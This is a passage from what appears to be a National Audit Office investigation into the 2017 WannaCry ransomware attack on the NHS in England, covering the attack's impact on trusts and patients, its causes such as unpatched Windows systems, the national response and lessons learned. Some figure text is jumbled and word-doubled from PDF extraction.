Figure 3). Investigation: WannaCry cyber attack and the NHS Summary 9 The NHS response to the attack The Department had developed a plan, which included roles and responsibilities of national and local organisations for responding to an attack, but had not tested the plan at a local level. This meant the NHS was not clear what actions it should take when affected by WannaCry. NHS England found that responding to WannaCry was different from dealing with other incidents, such as a major transport accident. Because WannaCry was different it took more time to determine the cause of the problem, the scale of the problem and the number of organisations and people affected (paragraph 3.3 and Figure 2). 10 As the NHS had not rehearsed for a national cyber attack it was not immediately clear who should lead the response and there were problems with communications. The WannaCry attack began on the morning of 12 May. At 4 pm NHS England declared the cyber attack a major incident and at 6:45 pm initiated its existing Emergency, Preparedness, Resilience and Response plans to act as the single point of coordination for incident management, with support from NHS Digital and NHS Improvement. In the absence of clear guidelines on responding to a national cyber attack, local organisations reported the attack to different organisations within and outside the health sector, including local police. Communication was difficult in the early stages of the attack as many local organisations could not communicate with national NHS bodies by email as they had been infected by WannaCry or had shut down their email systems as a precaution, although NHS Improvement did communicate with trusts chief executive officers by telephone. Locally, NHS staff shared information through personal mobile devices, including using the encrypted WhatsApp application. Although not an official communication channel, national bodies and trusts told us it worked well during this incident (paragraphs 3.3 to 3.5 and Figure 2). 11 In line with its existing procedures for managing a major incident, NHS England initially focused on maintaining emergency care. Since the attack occurred on a Friday this caused minimal disruption to primary care services, which tend to be closed over the weekend. Twenty-two of the 27 infected acute trusts managed to continue treating urgent and emergency patients throughout the weekend. However, five in London, Essex, Hertfordshire, Hampshire and Cumbria had to divert patients to other accident and emergency departments, and a further two needed outside help to continue treating patients. By 16 May only two hospitals were still diverting patients. The recovery was helped by the work of the cyber-security researcher that stopped WannaCry spreading (paragraphs 1.7, 1.13 and 1.14). 10 Summary Investigation: WannaCry cyber attack and the NHS Lessons learned 12 NHS Digital told us that all organisations infected by WannaCry shared the same vulnerability and could have taken relatively simple action to protect themselves. All NHS organisations infected by WannaCry had unpatched or unsupported Windows operating systems so were susceptible to the ransomware. However, whether organisations had patched their systems or not, taking action to manage their firewalls facing the internet would have guarded organisations against infection. NHS Digital told us that the majority of NHS devices infected were unpatched but on supported Microsoft Windows 7 operating systems. Unsupported devices (those on XP) were in the minority of identified issues. NHS Digital has also confirmed that the ransomware spread via the internet, including through the N3 network (the broadband network connecting all NHS sites in England), but that there were no instances of the ransomware spreading via NHSmail (the NHS email system) (paragraphs 1.2, 1.6 and 2.4 to 2.6). 13 There was no clear relationship between vulnerability to the WannaCry attack and leadership in trusts. We found no clear relationship between trusts infected by WannaCry and the quality of their leadership, as rated by the Care Quality Commission (paragraph 2.8). 14 The NHS has accepted that there are lessons to learn from WannaCry and is taking action. Lessons identified by the Department and NHS national bodies include the need to: develop a response plan setting out what the NHS should do in the event of a cyber attack and establish the roles and responsibilities of local and national NHS bodies and the Department; ensure organisations implement critical CareCERT alerts (emails sent by NHS Digital providing information or requiring action), including applying software patches and keeping anti-virus software up to date; ensure essential communications are getting through during an attack when systems are down; and ensure that organisations, boards and their staff are taking the cyber threat seriously, understand the direct risks to front-line services and are working proactively to maximise their resilience and minimise impacts on patient care. Since WannaCry, NHS England and NHS Improvement have written to every trust, clinical commissioning group and commissioning support unit asking boards to ensure that they have implemented all 39 CareCERT alerts issued by NHS Digital between March and May 2017 and taken essential action to secure local firewalls (paragraphs 3.8 and 3.9). Investigation: WannaCry cyber attack and the NHS Part One 11 Part One The impact of the cyber attack 1.1 WannaCry was the largest ever cyber attack to affect the NHS in England. The timeline of the main events relating to the WannaCry ransomware attack which affected NHS services in the week from 12 May to 19 May 2017 is set out in Figure 2 overleaf. The scale of the attack 1.2 NHS Digital told us that the ransomware spread via the internet, including through the N3 network. As shown in Figure 1 (page 7), the WannaCry ransomware attack affected at least 81 out of 236 trusts across England. These numbers are based on NHS organisations own reports to NHS England. Of these 81 trusts, there were: 37 trusts infected and locked out of devices (of which, 27 were acute trusts); and 44 trusts not infected but reporting disruption. NHS England and NHS Digital identified a further 21 trusts that were attempting to contact the WannaCry domain, but were not locked out of their devices. There are two possible reasons for this. Trusts may have become infected after the kill-switch had been activated, and were therefore not locked out of their devices.1 Alternatively, they may have contacted the WannaCry domain as part of their cyber-security activity. 1.3 The trusts infected by the WannaCry ransomware experienced two main types of disruption including: NHS staff being locked out of devices, which prevented or delayed staff accessing and updating patient information, sending test results to patients GPs and transferring or discharging patients from hospital; and medical equipment and devices being locked, or isolated from trusts IT systems to prevent them being locked. This meant trusts radiology and pathology departments were disrupted as the trusts relied on the equipment and devices for diagnostic imaging (such as MRI scanners) and for testing blood and tissue samples. kill-switch is a mechanism that is incorporated into software to shut down that software, or the device on which it sits, in an emergency situation in which it cannot be shut down in the usual manner. Monday 15 May Tuesday 16 May Only two trusts diverting patients away from A&E Source: National Audit Office Initially unclear as to who was taking the lead. The Department of Health leads on cyber issues, but once it was clear it was a major operational incident NHS England took the lead Social media was also reporting the cyber attack Front-line staff in organisations were calling up either NHS England or NHS Digital as well as the police Friday 12 May Friday 19 May 5:30pm Friday 19 May Incident is stood down by NHS England There was no formal mechanism for assessing whether NHS organisations had complied with NHS Digital s instructions, so one was put in place. This involved NHS England s Emergency Preparedness, Resilience and Response team requiring providers to confirm action had been taken on a number of items Five trusts were unable to provide emergency care, so arranged to divert patients to other locations 595 GP practices and 45 other NHS organisations infected, including 27 acute trusts NHS England worked with IT suppliers of GP practices (commissioning support units or private sector support) to patch IT systems Ensuring trusts and primary care organisations had up-to-date antivirus software installed on their systems Monday 15 May Friday 19 May Third phase of NHS England s response: Remedial phase Saturday 13 May Monday 15 May Second phase of NHS England s response: Ensure that primary care services were stable Friday 12 May Sunday 14 May First phase of NHS England s response: Focus on securing emergency care pathways Friday 12 May - Global ransomware attack By the evening of Sunday 14 May 3,486 GP practices (44%) had applied necessary patches Evening Cyber expert discovers kill-switch and stops malware spreading further 6:45 pm Decision that NHS England would lead the response, co-ordinating with key partners, particularly NHS Digital 4:00 pm NHS England declares the cyber attack a national major incident 1:06 pm First notification to NHS England s Emergency Preparedness, Resilience and Response team of the attack Late morning First trusts begin to report problems Friday 12 May NHS England emergency response to WannaCry lasted one week Figure 2 Timeline of the WannaCry attack from 12 May to 19 May 2017 Figure 2 shows The Department has major projects covering most of its priority areas 12 Part One Investigation: WannaCry cyber attack and the NHS Investigation: WannaCry cyber attack and the NHS Part One 13 As at 19 May 2017, NHS England had identified 1,220 pieces of diagnostic equipment that had been infected, 1% of all such NHS equipment. Although a relatively small proportion of devices, the figure does not include devices disconnected from IT systems to prevent infection. The trusts we spoke to told us about the disruption they had experienced due to diagnostic equipment being infected or isolated, such as not being able to send MRI scan results to clinicians treating patients in other parts of the hospital. 1.4 The disruption at trusts not infected by the ransomware was caused by: the absence of timely central direction, leading to the trusts taking actions on their own initiative to avoid becoming infected, including shutting down devices or isolating devices from their networks to protect themselves from the ransomware; or trusts not being able to access electronic patient records or receive information, such as test results, because they shared data or systems with an infected trust which had shut down its systems; or trusts disconnecting from the N3 network, the broadband network connecting all NHS sites in England. 1.5 The disruption at these trusts took a number of forms. For example, some trusts had to use manual workarounds to perform their usual tasks, such as providing medication to patients, and record information using pen and paper. In addition, organisations could not receive external emails, so communication with national bodies and others outside their trust was severely limited. 1.6 Despite widespread local disruption, NHS Digital told us that national NHS IT systems managed by NHS Digital were not infected, such as the NHS Spine (a service holding secure databases of demographic and clinical information) and NHSmail (the NHS email system). 1.7 Of the 27 acute trusts infected and locked out of devices, five had to divert emergency ambulance services to other hospitals. The five trusts and hospitals were: Barts Health NHS Trust (Royal London Hospital); Mid Essex Hospital Services NHS Trust (Broomfield Hospital); East and North Hertfordshire NHS Trust (Lister Hospital); Hampshire Hospitals NHS Foundation Trust (Basingstoke Hospital); and North Cumbria University Hospitals NHS Trust (West Cumberland Hospital). 14 Part One Investigation: WannaCry cyber attack and the NHS The impact on patients 1.8 As infected NHS organisations could not access important information and electronic systems, including patient records, they had to cancel appointments and operations and some trusts had to divert patients to other accident and emergency departments. Between 12 May and 18 May, NHS England collected some information on how many appointments had been cancelled to help it manage the incident, but did not collect data on all types of appointment. NHS England identified that the NHS had cancelled 6,912 appointments, but this figure does not include repeat outpatient appointments and cancellations identified after 18 May. NHS England estimated the total number of cancelled appointments as being around 19,494, based on the normal rate of follow-up appointments to first appointments, but told us it does not plan to identify the actual number because it is focusing its efforts on responding appropriately to the lessons learned from WannaCry. NHS England did not collect data on how many GP appointments were cancelled or how many ambulances and patients were diverted from the accident and emergency departments that were unable to treat patients. 1.9 NHS organisations did not report any cases of harm to patients or of data being compromised or stolen. If the WannaCry ransomware attack had led to any patient harm or loss of data then NHS England told us that it would expect trusts to report cases through existing reporting channels, such as reporting data loss direct to the Information Commissioner s Office (ICO) in line with existing policy and guidance on information governance. NHS Digital also told us that analysis of the WannaCry ransomware suggested that the cyber attack was not aimed at accessing or stealing data, although it does not know for certain that this is the case. 1.10 The NHS continued to provide emergency care from 12 May to 19 May, although some patients had to travel further as five hospitals had diverted services (paragraph 1.7). Patients with planned appointments experienced most disruption. Cancer charities, including Macmillan Cancer Support and Cancer Research UK, reported cancellations causing distress to patients. NHS England s own review identified at least 139 patients who had an urgent referral for potential cancer cancelled, as at 18 May, although the actual number may be higher if trusts misreported during the data collection or identified cancellations after 18 May. The financial impact 1.11 The Department of Health (the Department), NHS England and the National Crime Agency have told us that no NHS organisations paid the ransom. NHS Digital told us it advised against the payment of the WannaCry ransom during site visits and telephone conferences with infected trusts. Furthermore, NHS England and NHS Digital wrote to all trusts on 14 May advising them against the payment of ransoms, but these emails did not always reach trusts after that attack had begun. Investigation: WannaCry cyber attack and the NHS Part One 15 1.12 The NHS has not calculated the total cost of cancelled appointments; of NHS staff overtime; of additional IT support provided by NHS local bodies or IT consultants; or the cost of restoring data and systems affected by the attack. For example, trusts and other NHS organisations had to roll back systems and restore data and systems, including re-entering data recorded manually while trusts systems were down. National and local NHS staff had to work overtime, including over the weekend of 13 14 May, to resolve problems and to prevent a fresh wave of organisations being affected by WannaCry on Monday 15 May. The recovery 1.13 In line with its established procedures for responding to a major incident, NHS England focused its initial response on maintaining emergency care, and within 24 hours began attending to primary care. Since the attack occurred on a Friday it caused minimal disruption to primary care services, which tend to be closed over the weekend. Twenty-two of the 27 infected acute trusts continued treating urgent and emergency patients throughout the weekend. However, five trusts, including Barts Health NHS Trust, were unable to see some patients and had to divert them to other hospitals, and a further two needed outside help to continue treating patients. NHS England worked with trusts to ensure diverts were put in place and help provided. By Tuesday 16 May, only two hospitals were still diverting patients: Lister Hospital in Hertfordshire and Broomfield Hospital in Essex. NHS England stood down the incident on Friday 19 May. 1.14 The recovery was aided by the work of a cyber-security researcher who activated a kill-switch so that WannaCry stopped locking devices. The researcher triggered the kill-switch on the evening of Friday 12 May. This meant that some NHS organisations were infected by the WannaCry malware, but because of the actions of the researcher they were not locked out of their devices and systems. Between 15 May and September, NHS Digital and NHS England identified a further 92 organisations, including 21 trusts, attempting to contact the WannaCry domain, in addition to the initial 45 organisations they had identified as being infected. Although some of these trusts may have contacted the WannaCry domain as part of their cyber-security activity. 16 Part Two Investigation: WannaCry cyber attack and the NHS Part Two Why some parts of the NHS were affected 2.1 NHS organisations across England were affected by the WannaCry attack. Figure 3 sets out the location of the trusts affected and shows the: 37 trusts infected by the WannaCry malware; and 44 trusts not infected by the malware but reporting disruption. 2.2 Of the 37 trusts infected, 32 were located in the North NHS region and the Midlands and East NHS region. NHS England believes more organisations were infected in these regions because they were hit early on 12 May before the WannaCry kill-switch was activated. Failure to patch and update systems and reliance on old software 2.3 It is not possible to eliminate all cyber threats but organisations can prevent harm through good cyber-security. Such practice includes maintaining up-to-date firewalls and anti-virus software, and applying patches (updates) in a timely manner. NHS England view is that WannaCry infected some parts of the NHS mainly because organisations had failed to maintain good cyber-security practices. 2.4 NHS Digital told us that all the infected trusts had a common vulnerability in their Windows operating systems which was exploited by the WannaCry attack. All NHS organisations infected by WannaCry had unpatched, or unsupported, Windows operating systems. However, whether organisations had patched their systems or not, taking action to manage their firewalls facing the internet would have guarded the organisations against infection. Investigation: WannaCry cyber attack and the NHS Part Two 17 Figure3showsDisruptiontofront-lineservicesaffectedallpartsofthecountrybutwasconcentratedintheNorthNHSregionandtheMidlandsandEastNHSregion Figure 3 Trusts affected by the cyber attack Disruption to front-line services affected all parts of the country but was concentrated in the North NHS region and the Midlands and East NHS region Acute trust infected Other trust infected Acute trust affected, but not infected Other trust affected, but not infected Note 1 NHS England believes the concentration of infected trusts in the North NHS region and the Midlands and East NHS region does not reflect variations in cyber-security, but may be partially explained by these organisations becoming infected earlier in the day, before the WannaCry kill-switch was activated. Source: National Audit Office analysis of NHS England data 18 Part Two Investigation: WannaCry cyber attack and the NHS 2.5 NHS Digital told us that the majority of NHS devices infected were unpatched but on the supported Windows 7 operating system. Trusts using Windows 7 could have protected themselves against WannaCry by applying a patch (or update) issued by Microsoft in March 2017, and NHS Digital had issued CareCERT alerts on 17 March and 28 April asking trusts to apply the patch.2 According to the Department of Health (the Department), more than 90% of devices in the NHS use the Windows 7 operating system. 2.6 A second issue was that some trusts were running the older Windows XP operating system on some devices. This made the trusts vulnerable because Microsoft was no longer releasing patches for this operating system, and so they could not protect their systems from WannaCry unless they isolated those devices from the network. Some trusts also experienced issues with some medical equipment, such as MRI scanners that have Windows XP embedded within them (see paragraph 1.3). This equipment is generally managed by the system vendors and local trusts are not capable of applying updates themselves. Support from the vendors of these devices was often poor according to NHS England and NHS Digital. However, trusts running Windows XP on their medical equipment could have protected themselves by isolating these devices from the rest of the network (although this may necessitate manual workarounds). In July 2017, as part of its response to the National Data Guardian review, the Department told local bodies to ensure that they had moved away from, or were actively managing, unsupported software by April 2018. 2.7 The Department and Cabinet Office had written to trusts in 2014 offering some temporary help with security for old equipment until April 2015, after which time there would be no support. This meant that it was essential that all NHS organisations had robust plans to migrate away from Windows XP. Despite this, the Department told us about 5% of the NHS IT estate, including computers and medical equipment, was still using Windows XP on 12 May 2017. This is partly explained by the fact that it is not always possible to remove or update Windows XP in applications and IT services based on that operating system. Immediately after the WannaCry attack Microsoft issued a patch for Windows XP that would prevent WannaCry and similar ransomware. Leadership and size of trusts 2.8 We found no clear relationship between those trusts infected by WannaCry and the quality of their leadership, as rated by the Care Quality Commission (CQC). Of the 37 trusts infected by WannaCry, four (11%) had been rated as inadequate against the well-led domain at their last CQC inspection, compared with 7% of NHS organisations not infected.3 However, CQC had not focused on how well led trusts were in relation to cyber-security in their inspections before 12 May 2017. We understand CQC has plans to enhance its line of questions regarding information and digital systems as part of its inspection of the leadership of trusts in the future. A CareCERT alert is an email sent by NHS Digital providing information or requiring action from NHS organisations. Of the 37 trusts infected by WannaCry, 36 had a CQC rating. Investigation: WannaCry cyber attack and the NHS Part Two 19 2.9 We also found that infected trusts tended to employ more staff than average. Of the 37 infected trusts: 14 (38%) were among the 25% of trusts employing the most staff; and 26 (70%) employed more than the median number of staff. Although there is limited evidence on why this should be the case, we found that: some of the trusts we spoke to told us that integrating IT systems when trusts merge (and become larger) and running many different versions of Windows operating systems, not all of which are supported, can be a challenge; and WannaCry exploited weaknesses within parts of Microsoft s Windows operating system used to share files within organisations. This meant it spread automatically in some cases, and organisations with large Windows networks were among the worst affected. Prepared for a cyber attack 2.10 Before 12 May, the Department and its arm s-length bodies did not know whether trusts had complied with CareCERT alerts as no formal mechanism of assessment existed at that time. On 12 May, NHS Digital worked with NHS England to put in place a formal mechanism for assessing whether NHS organisations had complied with CareCERT alerts. Emergency, Preparedness, Resilience and Response (EPRR) teams requested a positive return from providers by midnight on 12 May that, for example where they had: not been subject to an attack, they had implemented the patch; and been subject to an attack, they had implemented remedial works; had been able to roll back their systems; and could continue to provide emergency services or if not had put mitigations in place. 2.11 Before the WannaCry attack, NHS Digital offered an on-site inspection to hospitals to assess their cyber-security (known as CareCERT Assure ). This inspection was voluntary. By 12 May, NHS Digital had inspected 88 out of 236 trusts and none had passed. NHS Digital s review of the WannaCry attack concluded that CareCERT advice and guidance (including inspections) was mostly followed by organisations with relatively mature cyber security arrangements, while vulnerable trusts were not taking action to improve their security. NHS Digital also found that, in general, trusts had not identified cyber-security as being a risk to patient outcomes, and had tended to overestimate their readiness to manage a cyber attack. NHS Digital believes this reflects a lack of understanding of the nature of cyber risk among trusts, rather than a neglect of cyber security. 20 Part Two Investigation: WannaCry cyber attack and the NHS 2.12 The Department and its arm s-length bodies did not hold information on how prepared local organisations were to respond to a cyber attack, such as whether cyber-security appeared on organisations risk registers or whether trusts complied with good practice. The Department and its arm s-length bodies also had limited central information on trusts IT and digital assets such as anti-virus software and IP addresses. At the start of its investigation, the National Crime Agency had to gather evidence from all sites, including information on the devices affected, IP addresses and network traffic, to assess the impact of WannaCry on the NHS, rather than being able to access the information centrally. Investigation: WannaCry cyber attack and the NHS Part Three 21 Part Three How the Department and the NHS responded Devolved responsibility for cyber-security 3.1 The Department of Health (the Department) has overall national responsibility for cyber-security resilience and responding to incidents in the health sector. However, the Department devolves responsibility for managing cyber-security to local organisations NHS trusts, GPs, clinical commissioning groups and social care providers. Regulators and other national bodies oversee and support local NHS organisations. While NHS foundation trusts are directly accountable to Parliament for delivering healthcare services, they are held to account by the same regulators as NHS trusts. Roles and responsibilities for cyber-security as at September 2017 are set out in Figure 4 on pages 22 and 23. In particular: NHS Improvement holds trusts and NHS foundation trusts to account for delivering value for money; and the Care Quality Commission (CQC) regulates health and social care providers for safety and quality of their services. 3.2 Both bodies can mandate local NHS organisations to improve their performance. They also have a role in ensuring that local bodies have appropriate cyber-security arrangements, but neither are primarily concerned with cyber or information technology issues. NHS Digital provides guidance, alerts and support to local organisations on cyber-security, and can visit organisations to evaluate cyber-security arrangements if asked to do so, as part of CareCERT Assure.4 However, NHS Digital cannot mandate a local body to take remedial action even if it has concerns about the vulnerability of that organisation. Prior to the WannaCry attack, NHS Digital offered an on-site inspection to hospitals to assess their cyber-security. This was known as CareCERT Assure and was voluntary. NHS national bodies are currently revising this system. 22 Part Three Investigation: WannaCry cyber attack and the NHS Figure Figure 44 Roles Roles and and responsibilities responsibilities for for cyber-security cyber-security in in the the NHS NHS as as at at September September 2017 2017 National National and and local local bodies bodies share share responsibility responsibility for for cyber-security cyber-security in in the the health health sector sector Cabinet CabinetOffice Officeleads leadson (non-mandatory) (non-mandatory)policies policies andprinciples, principles,although althoughall departments departmentsand andbodies bodiesare accountable accountableand andresponsible responsible fortheir theirown owncyber-security cyber-security Cabinet CabinetOffice Office GCHQ GCHQ National NationalCyber Cyber Security SecurityCentre Centre National NationalCrime Crime Agency Agency Home HomeOffice Office Keyguidance guidanceisispublished publishedby theNational NationalCyber CyberSecurity Security Centre, Centre,and andititisissupported supported bythe theNational NationalCrime CrimeAgency Agency ininleading leadingthe theresponse response tomajor majorcyber-security cyber-security incidents incidentsininthe theUK, UK,including including criminal criminalinvestigations investigations Department Departmentof ofHealth Health Lead Leadgovernment governmentDepartment Departmentand andleads leadsthe thehealth healthand andcare caresystem, system,including includingoverseeing overseeingcyber-security cyber-securityresilience resilienceand andincident incidentresponses responses Manages Managesthe theinterface interfacebetween betweenhealth healthand andsocial socialcare carewith withthe theCabinet CabinetOffice, Office,other othergovernment governmentdepartments departmentsand andagencies agencies During Duringaacyber cyberincident incidentcoordinates coordinatesbriefings briefingsto toministers ministersand andthe theNational NationalData DataGuardian Guardian Coordinates Coordinatesinvolvement involvementinincentral centralgovernment governmentresponses responsesto toincidents incidents Contributes Contributesto tocross-government cross-governmentbriefings briefingswhen whenresponding respondingto toaamajor majorincident, incident,including includingwhen whenaaCOBRA COBRAresponse responseisiscalled called Coordinates Coordinatespublic publiccommunications communicationsininagreement agreementwith withother otherorganisations organisations National NationalInformation InformationBoard Board NHSEngland England NHSDigital Digital Provides Providesleadership leadershipacross across thehealth healthand andcare caresector sectoron IT,including includingsetting settingannual annual commissioning commissioningpriorities prioritiesfor NHSDigital Digitaland andturning turningthese these into intoan anagreed agreeddelivery deliveryplan plan Provides Providesinformation informationabout aboutcyber-security cyber-securityto tocommissioners commissioners Works Workswith withlocal localhealthcare healthcareto understand understandand andadvise adviseon ontheir their cyber-security cyber-securityrequirements requirements Works Workswith withclinical clinicalcommissioning commissioninggroups groups(CCGs), (CCGs), commissioning commissioningsupport supportunits unitsand andaudit auditchairs chairsat ataaleadership leadership level levelto tosupport supportboard boardownership ownershipof ofcyber-security cyber-securityand andoverall overall response responsewhen whencyber cyberincidents incidentsoccur occur Responsible Responsiblefor forhelping helpingto toembed embedcyber-security cyber-securitystandards standards ininthe thehealth healthsector, sector,eg egthrough throughthe theNHS NHSStandard StandardContract Contract andthrough throughthe theinclusion inclusionof ofrequirements requirementsfor forservices servicesitit commissions, commissions,such suchas asIT ITfor forgeneral generalpractioners practioners National NationalData DataGuardian Guardian Provides Providesindependent independentadvice advice ondata-sharing data-sharingand andsecurity security Must Mustbe beinformed informedabout aboutall cyber-security cyber-securityincidents incidentsat atthe same sametime timeas asministers ministers Communicates Communicatesits itsrole roleininmanaging managing cyber-security cyber-securityand andincidents incidentsto toother other healthcare healthcareorganisations organisations Maintains Maintainskey keyIT ITsystems systemsused usedby byhealthcare healthcare organisations, organisations,such suchas asN3 N3and andSPINE SPINE Responsible Responsiblefor forensuring ensuringCCGs CCGsand andproviders providers(eg (egtrusts) trusts)have have appropriate appropriateplans plansininplace placeto torespond respondto toan anincident incidentor oremergency emergency Provides Providesadvice adviceto tothe thehealth healthand andsocial social care caresystem systemabout abouthow howto toprotect protectagainst, against, orrespond respondto, to,aacyber cyberincident incident Lead Leadorganisation organisationwhen whenmajor majorincident incidentcalled. called.Coordinates Coordinatesthe control controlof ofan anincident incidentthrough throughits itsEmergency EmergencyPreparedness, Preparedness, Resilience Resilienceand andResponse Response(EPRR) (EPRR)structures structureswhere whereappropriate appropriate Provides Providesadvice adviceand andsupport supportto tohealth health organisations organisationsduring duringaacyber cyberincident, incident, through through CareCERT CareCERTReact React Communicates Communicatesto tothe thehealthcare healthcaresystem systemabout aboutthe thepractical practicaland clinical clinicalsteps stepsto tobe betaken takenininresponse responseto toan anincident incidentwhen whenrequired required Works Worksto tounderstand understandand andrespond respondto cyber cyberincidents incidentson onnational nationalsystems systemsor onhealthcare healthcareIT ITnetworks networks Does Doesthis thisthrough throughdigital digitalteams teamsat atregional regionallevel. level.These Theseteams teams coordinate coordinatewith withNHS NHSEngland England scentral centralcyber cyberteam teamand andwith with NHSDigital Digital Notifies Notifiesand andworks workswith withthe theNational NationalCyber Cyber Security SecurityCentre Centreto torespond respondto tocyber cyberincidents incidents 209 clinical clinical commissioning commissioning groups groups Responsible Responsible for for following following standards standards set set by by the the Department Department and and its its arm s-length s-length bodies, bodies, for for protecting protecting the the data data they they hold hold according according to to the the Data Data Protection Protection Act Act 1998, 1998, and and for for having having arrangements arrangements inin place place to to respond respond to to an an incident incident or or emergency, emergency, under under the the Civil Civil Contingencies Contingencies Act Act 2004 2004 Other Other government government Health Health sector sector Source: Source:National NationalAudit AuditOffi Office ceanalysis analysisof ofDepartment Departmentof ofHealth Healthand andNHS NHSEngland Englanddata data Investigation: WannaCry cyber attack and the NHS Part Three 23 NHSImprovement Improvement Care CareQuality QualityCommission Commission Communicates Communicatesinformation informationabout aboutcyber-security cyber-securityto totrusts trusts andother otherhealthcare healthcareproviders providers Assesses Assessesand andregulates regulatesthe thesafety safety ofpatient patientcare care Works Workswith withtrusts trustsat ataaleadership leadershiplevel levelto tosupport supportboard board ownership ownershipof ofcyber-security cyber-securityand andoverall overallresponse responseto cyber cyberincidents incidents Assesses Assessesthe theadequacy adequacyof ofleadership leadership including includingininensuring ensuringdata datasecurity security Works Workswith withsenior seniorhealthcare healthcareleaders leadersto toensure ensurerecommended recommended actions actionsfor forcyber cyberresilience resilienceare areimplemented, implemented,and andacts actsas asan escalation escalationpoint pointwhen whencyber cyberincidents incidentsoccur occur Takes Takesaccount accountof ofdata datasecurity securityininreaching reaching judgements judgementson onwell-led well-ledorganisations organisations Attains Attainsassurance assurancethat thatfollow-up follow-upactions actionsto toincrease increaseresilience resilience have havebeen beenimplemented implementedby byhealthcare healthcareproviders providers Considers Considersdata datasecurity securityduring duringits itsoversight oversightof oftrusts trusts through throughthe theSingle SingleOversight OversightFramework Frameworkand andas aspart partof ofits decision-making decision-makingon ontrusts trustswho whoare areininspecial specialmeasures measures Works Workswith withNHS NHSEngland Englandto tocommunicate communicateto tothe thehealthcare healthcare system systemduring duringaacyber cyberincident, incident,ininparticular particularthrough throughthe chief chiefinformation informationofficer officer(CIO) (CIO)for forthe thehealth healthand andcare caresystem system (who (whoworks worksacross acrossNHS NHSImprovement Improvementand andNHS NHSEngland) England) 236NHS NHStrusts trustsand andNHS NHSfoundation foundationtrusts trusts Responsible Responsiblefor forfollowing followingstandards standardsset setby bythe theDepartment Departmentand andits itsarm s-length s-lengthbodies bodiesfor forprotecting protectingthe thedata datathey they hold holdaccording accordingto tothe theData DataProtection ProtectionAct Act1998, 1998,and andfor forhaving havingarrangements arrangementsininplace placeto torespond respondto toan anincident incidentor emergency, emergency,under underthe theCivil CivilContingencies ContingenciesAct Act2004 2004 24 Part Three Investigation: WannaCry cyber attack and the NHS How the cyber attack was managed 3.3 Before the WannaCry attack the Department had developed a plan for responding to a cyber attack, which included roles and responsibilities of national and local organisations. However, the Department had not tested the plan at a local level. This meant the NHS was not clear what actions it should take when affected by WannaCry, including how it should respond at a local level. On 12 May 2017, NHS England determined that it should declare a national major incident and decided that it would lead the response, coordinating with NHS Digital and NHS Improvement. NHS England treated the attack as a major operational incident through its existing Emergency Preparedness, Resilience and Response (EPRR) processes. However, as NHS England had not rehearsed its response to a cyber attack it faced a number of challenges. The cyber attack was less visible than other types of incident and not confined to local areas or regions in the way a major transport accident would have been, for example. This meant that it took more time to determine the cause of the problem, the scale of the problem and the number of people and organisations affected. 3.4 Without clear guidelines on responding to a national cyber attack, organisations reported the attack to different sources including the local police, NHS England and NHS Digital. For the same reason communications to patients and local organisations also came from a number of sources. These included the National Cyber Security Centre, which was providing support to all UK organisations affected by the attack, NHS England and NHS Digital. In addition, the use of email for communication was limited, although NHS Improvement did communicate with trusts chief executive officers by telephone. Affected trusts shut down IT systems, including some trusts disconnecting from NHS email and the N3 network as a precautionary measure.5 The Department coordinated the response with the centre of government, briefing ministers, liaising with the National Cyber Security Centre and National Crime Agency, and overseeing NHS England s and NHS Digital s operational response. 3.5 Affected trusts were triaged through the EPRR route and, where necessary, received assistance from national bodies, including advice and physical technical support from NHS Digital, which sent 54 staff out to hospitals to provide direct support. Staff at the Department, NHS England, NHS Improvement and NHS Digital, as well as large numbers of staff in other organisations across the NHS, worked through the weekend to resolve the problem and avoid further problems on Monday. NHS England IT team did not have on-call arrangements in place, but staff came in voluntarily to help resolve the issue. Front-line NHS staff adapted to communication challenges and shared information through personal mobile devices, including using the encrypted WhatsApp application. NHS national bodies and trusts told us that this worked well on the day although is not an official communication channel. N3 is the broadband network connecting all NHS sites in England. Investigation: WannaCry cyber attack and the NHS Part Three 25 The risk of a cyber attack had been identified before WannaCry 3.6 The Secretary of State for Health asked the National Data Guardian and CQC to undertake reviews of data security. These reports were published in July 2016 and warned the Department about the cyber threat and the need for the Department to respond to it. They noted the threat of cyber attacks not only put patient information at risk of loss or compromise but also jeopardised access to critical patient record systems by clinicians. They recommended that all health and care organisations needed to provide evidence that they were taking action to improve cyber-security, such as through the Cyber Essentials scheme.6 3.7 Although WannaCry was the largest cyber-security incident to affect the NHS, individual NHS organisations had been victims of other attacks in recent years (Figure 5 overleaf). WannaCry infected one of England s biggest trusts, Barts Health NHS Trust. This was the second cyber attack to affect the trust in six months. A ransomware attack had also affected Northern Lincolnshire and Goole NHS Foundation Trust in October 2016, which had led to it cancelling 2,800 appointments. Lessons learned 3.8 The NHS has accepted that there are lessons to learn from WannaCry and is already taking action. The NHS has identified the need to improve the protection of services from future cyber attacks. These include the need to: develop a response plan setting out what the NHS should do in the event of a cyber attack and establish the roles and responsibilities of local and national NHS bodies and the Department; ensure organisations implement critical CareCERT alerts, including applying software patches and keeping anti-virus software up to date and identifying; ensure essential communications are getting through during an incident when systems are down; and ensure that organisations, boards and their staff are taking the cyber threat seriously, understand the direct risks to front-line services and are working proactively to maximise their resilience and minimise the impact on patient care. 3.9 Following the WannaCry attack, NHS England and NHS Improvement wrote to every trust, clinical commissioning group and commissioning support unit asking boards to ensure that they had implemented all 39 CareCERT alerts issued by NHS Digital between March and May 2017 and had taken essential action to secure local firewalls. Cyber Essentials is a government-designed cyber-security certification scheme that sets out a baseline of cyber security and can be used by any organisation in any sector, see: www.cyberaware.gov.uk/cyberessentials/ Source: National Audit Office Lasted four days and affected more than 2,800 patients Trust resolved the issue, liaising with external cyber-security company and police Cancelled appointments, operations and diagnostic procedures. High-risk women in labour had to be transferred to other hospitals Princess of Wales Hospital, Scunthorpe General Hospital and Goole and District Hospital affected as well as United Lincolnshire Hospital NHS Trust due to shared IT access 2016 2016 Royal Cornwall Hospitals NHS Trust had been infected by a cyber attack once before 2016, and was the subject of multiple, unsuccessful attacks during 2016 At least 2000 current and former staff thought to have had details compromised Shut down file-sharing system to investigate the attack Initially reported to be ransomware but later concluded by the trust to be Trojan malware, which was successfully contained Landauer was employed by the NHS to monitor radiation levels among staff 2017 12 May 2017 Global WannaCry attack affects the NHS 28 February 2017 Private files stolen from Landauer, which has personal details of NHS staff 7 February 2017 ISIS-linked hackers display graphic images on NHS websites The Royal London, St Bartholomew s, Whipps Cross and Newham hospitals were affected. 30 October 2016 Variant of Globe2 ransomware attack on the Northern Lincolnshire and Goole NHS Foundation Trust 13 January 2017 Barts Health NHS Trust, one of the largest trusts in the NHS, suffers cyber attack The NHS had experienced a number of cyber attacks prior to the WannaCry attack Figure 5 Cyber attacks on the NHS in 2016 and 2017 before 12 May 2017 